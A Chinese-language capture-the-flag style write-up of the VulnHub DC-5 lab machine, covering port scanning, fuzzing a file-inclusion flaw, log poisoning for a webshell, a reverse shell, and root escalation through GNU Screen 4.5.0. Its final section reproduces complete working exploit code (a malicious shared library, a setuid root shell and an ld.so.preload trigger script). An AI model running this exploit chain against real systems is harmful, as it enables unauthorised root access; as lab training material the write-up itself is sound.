vulnhub dc-5靶机通关

安装虚拟机设置NAT模式网段在192.168.147.0/24

使用工具查找网段,129是我kali,131是dc-5

文件包含漏洞getshell

 通过工具查看到靶机的ip地址

访问131的地址,然后nmap看一下开放的端口80和111

 

 

通过目录扫描扫到如下信息,这些路径也就是网页中的点

 

在这个位置发现每次访问页面的时候他会自动变换,猜测可能是文件包含了底部的栏目,通过御剑扫描到了footer.php文件,正是底部的栏目。这里可能存在了文件包含漏洞,需要fuzz变量和参数。

 

 

通过抓包,选中变量和传参,放入2本字典,fuzz变量名和传参,如下所示,长度不同的正是文件包含的信息,存在文件包含漏洞,此时就可以通过日志拿到webshell,寻找到nginx的日志文件

 

 

Nginx的日志文件如下,通过写入一句话,然后文件包含日志文件拿到webshell

/var/log/nginx/error.log

/var/log/nginx/access.log

 

 

 

 

使用nc反弹shell到msf

 

这里我重新写了一个shell,这里的日志文件好像会定时删除,防止麻烦,在别的目录下写一个

 

首先获取一个交互式shell

python -c 'import pty; pty.spawn("/bin/bash")'

然后查找具有suid权限的相关命令

 

Screen提权

参考

https://blog.csdn.net/weixin_45677119/article/details/111872598

 

发现一个:screen-4.5.0命令,百度经查找得知:

GNU Screen是一款由GNU计划开发的用于命令行终端切换的自由软件。用户可以通过该软件同时连接多个本地或远程的命令行会话,并在其间自由切换。GNU Screen可以看作是窗口管理器的命令行界面版本。它提供了统一的管理多个会话的界面和相应的功能。

使用searchsploit搜索相关漏洞

 

1)创建libhax.c文件

 

#include <stdio.h>

#include <sys/types.h>

#include <unistd.h>

__attribute__ ((__constructor__))

void dropshell(void){

    chown("/tmp/rootshell", 0, 0);

    chmod("/tmp/rootshell", 04755);

    unlink("/etc/ld.so.preload");

    printf("[+] done!\n");

}

 

gcc -fPIC -shared -ldl -o libhax.so libhax.c

编译libhax.c文件为libhax.so。

 

2)新建rootshell.c

 

#include <stdio.h>

int main(void){

    setuid(0);

    setgid(0);

    seteuid(0);

    setegid(0);

    execvp("/bin/sh", NULL, NULL);

}

gcc -o rootshell rootshell.c

编译rootshell.c文件为rootshell。

 

3)创建run.sh文件

 

echo "[+] Now we create our /etc/ld.so.preload file..."

cd /etc

umask 000 # because

screen -D -m -L ld.so.preload echo -ne  "\x0a/tmp/libhax.so" # newline needed

echo "[+] Triggering..."

screen -ls # screen itself is setuid, so...

/tmp/rootshell 

 

将这三个文件上传到靶机的/tmp/目录下

 

给run.sh一个可执行的权限,直接运行,拿到root权限

 

 

posted @ 2021-03-05 13:36  娜娜米  阅读(164)  评论(0)    收藏  举报